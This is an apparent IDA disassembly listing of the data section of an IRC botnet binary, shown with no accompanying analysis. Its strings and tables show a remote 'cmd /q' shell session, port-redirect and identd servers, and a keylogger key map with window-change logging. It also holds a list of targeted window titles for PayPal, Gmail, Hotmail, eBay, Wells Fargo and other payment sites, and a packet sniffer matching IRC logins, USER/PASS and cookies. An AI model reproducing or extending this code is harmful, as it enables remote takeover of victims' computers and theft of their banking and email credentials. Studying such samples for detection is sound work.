		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C44	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434C78:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435120	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_410BFD+171o
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410BFD+116o
dword_435164	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_410BFD+BBo
aClientConnecti	db '- client connection from %s:%d.',0
unk_435190	db  2Dh	; -		; DATA XREF: sub_410DAB+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351CC	db  2Dh	; -		; DATA XREF: sub_410DAB+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435214	db  2Dh	; -		; DATA XREF: sub_410F3C+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435254	db  2Dh	; -		; DATA XREF: sub_410F3C+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_435298	db  2Dh	; -		; DATA XREF: sub_4111C0+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352C4	db  2Dh	; -		; DATA XREF: sub_4111C0+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4352F0	db  2Dh	; -		; DATA XREF: sub_4111C0+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_4111C0+172o
		align 4
unk_43532C	db  2Dh	; -		; DATA XREF: sub_4111C0+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435358	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
unk_435384	db  2Dh	; -		; DATA XREF: sub_41141F+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
unk_4353BC	db  2Dh	; -		; DATA XREF: sub_41144E+219o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
unk_4353F4	db  2Dh	; -		; DATA XREF: sub_41144E+1FBo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
unk_435430	db  2Dh	; -		; DATA XREF: sub_41144E+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_435474	db  2Dh	; -		; DATA XREF: sub_41144E+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 10h
unk_4354B0	db  2Dh	; -		; DATA XREF: sub_41144E+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
unk_4354F4	db  2Dh	; -		; DATA XREF: sub_41144E+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435520	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435554	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43559C	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355C4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435604	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
unk_435684	db  2Dh	; -		; DATA XREF: sub_4119F9+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_4356C0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411BCE+1B2o
aFailedToSta_38	db '- Failed to start server on Port %d.',0
		align 4
dword_4356F4	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411BCE+18Fo
aFailedToSta_39	db '- Failed to start client thread, error: <%d>.',0
		align 10h
dword_435730	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411BCE+114o
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_435774	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411DD3+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
dword_4357B8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411DD3+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
dword_4357F8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411DD3+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
dword_435838	dd 4000500h, 7868746Bh,	2 dup(0) ; DATA	XREF: sub_412197+404o
dword_435848	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: sub_4125FC+13o
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436448	dd 8			; DATA XREF: sub_4125FC+65o
dword_43644C	dd 62h,	62000000h, 2 dup(0) ; DATA XREF: sub_4126A7:loc_412925o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_436B7C	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4126A7+48Fo
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BB4	dd 28207325h, 297325h	; DATA XREF: sub_4125FC+31o
					; sub_41AF8F+EBo
a__S_l_ReturnS	db '.».%s.«. (Return) (%s)',0 ; DATA XREF: sub_4126A7+3FAo
		align 4
a__S_l_Return	db '.».%s.«. (Return)',0 ; DATA XREF: sub_4126A7+3D9o
		align 4
a__S_l_Buffer_0	db '.».%s.«. (Buffer full) (%s)',0 ; DATA XREF: sub_4126A7+394o
a__S_l_BufferFu	db '.».%s.«. (Buffer full)',0 ; DATA XREF: sub_4126A7+382o
		align 4
a__S_l_ChangedW	db '.».%s.«. (Changed Windows: %s)',0 ; DATA XREF: sub_4126A7+17Bo
		align 4
a__S_l_		db '.».%s.«.',0         ; DATA XREF: sub_4126A7+B9o
					; sub_4126A7+145o ...
		align 4
off_436C48	dd offset dword_4374C0	; DATA XREF: sub_412B61+2B9r
		dd offset off_4374BC
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
dword_436C58	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_412B61+1DEo
dword_436C6C	dd 0			; DATA XREF: sub_412B61+2B2r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: .packed:00436C54o
		align 4
aFtp		db 'FTP',0              ; DATA XREF: .packed:00436C50o
off_4374BC	dd offset aFailedToSta_36+25h ;	DATA XREF: .packed:00436C4Co
dword_4374C0	dd 544F42h		; DATA XREF: .packed:off_436C48o
dword_4374C4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+317o
aRecvFailedRetu	db '- recv() failed, returned %d',0
		align 10h
dword_4374F0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+2C6o
aSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
dword_437524	dd 234032Dh, 696E7370h,	3026666h, 2Dh ;	DATA XREF: sub_412B61+24Co
dword_437534	dd 4E53505Bh, 5D464649h, 0 ; DATA XREF:	sub_412B61+235o
dword_437540	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+186o
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
dword_437570	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+103o
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
dword_43759C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+85o
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
